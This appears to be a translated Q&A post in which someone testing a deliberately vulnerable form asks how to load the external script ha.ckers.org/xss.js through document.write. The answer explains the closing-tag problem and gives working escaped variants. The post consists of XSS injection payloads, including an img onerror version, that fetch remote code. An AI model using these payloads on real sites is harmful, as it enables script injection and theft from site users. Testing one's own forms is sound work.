如何使用此语法加载外部.js
脚本?:
<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>
。
对于所有想知道的人,我设置了一个我特意容易受到攻击的测试表格,但我无法启动它,是的,我知道:
<script src=//ha.ckers.org/xss.js></script>
可以很容易地工作,但我只想弄清楚如何使用document.write来做到这一点。
感谢能够帮助我的任何人。
//编辑
为什么这不起作用?
<img src=x onerror=document.write('<script src="http://ha.ckers.org/xss.js"><\/script>')>
答案 0 :(得分:0)
您必须记住,<script>....</script>
标记中的内容是不透明到浏览器。它的工作是,在看到<script>
后,收集所有内容而不进行解析,直到它看到</script>
,然后将该中间文本发送到JavaScript引擎。
在您的情况下,它在<script>
和</script>
之间看到的是:
document.write('<script src=http://ha.ckers.org/xss.js>
...这显然会导致语法错误。那是因为第一个 </script>
终止第一个 <script>
:
<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>
<!-- Browser thinks things end here ---------------------------^ -->
你必须将其分解,因此它不是文字序列</script>
。有很多方法可以做到这一点。添加\
:
<script>document.write('<script src=http://ha.ckers.org/xss.js><\/script>')</script>
或打破字符串:
<script>document.write('<script src=http://ha.ckers.org/xss.js></scr' + 'ipt>')</script>